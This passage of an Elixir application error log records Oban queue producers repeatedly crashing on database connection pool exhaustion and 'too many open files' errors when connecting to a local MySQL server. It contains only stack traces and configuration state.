[Sat Sep  5 23:13:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:13:21.247062Z], limit: 5, uuid: "85c8deb8-1b90-4293-851b-47cccb9c5c4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:21.247068Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10775>, refresh_timer: #Reference<0.2525715032.1077411843.241579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:33.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:13:21.250716Z], limit: 50, uuid: "0c3ad64a-df84-48af-8b74-51c1f62b38f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:21.250721Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10838>, refresh_timer: #Reference<0.2525715032.1121189889.111301>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:33.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:13:21.249050Z], limit: 5, uuid: "07db952c-0d34-4659-ae77-2bec9c911307", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:21.249057Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10774>, refresh_timer: #Reference<0.2525715032.1099431938.10766>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:33.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:13:21.250605Z], limit: 20, uuid: "43143e14-b013-48f9-b225-8a86a07e0afa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:21.250611Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10837>, refresh_timer: #Reference<0.2525715032.1121189889.111295>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:34.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:35.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:37.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:37.546000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:13:27.237834Z], limit: 10, uuid: "cccbcaf2-c873-47fa-85a3-a43f46e23eeb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:27.237840Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10988>, refresh_timer: #Reference<0.2525715032.1077411843.241608>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:44.645000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:13:33.241825Z], limit: 5, uuid: "42cea5d5-72fb-4405-a72d-9c7280709243", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:33.241831Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.11216>, refresh_timer: #Reference<0.2525715032.1077411843.241667>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:13:33.241766Z], limit: 5, uuid: "a2c90b85-f730-4628-84cc-63f5f317eaf6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:33.241771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.11215>, refresh_timer: #Reference<0.2525715032.1077411843.241664>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:13:33.241045Z], limit: 3, uuid: "94347744-da71-4bf2-af6c-25698ee80101", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:33.241052Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.11217>, refresh_timer: #Reference<0.2525715032.1068236804.261006>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:45.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:13:33.241239Z], limit: 50, uuid: "a6914749-4032-4c20-90f4-2df57b803de8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:33.241245Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, 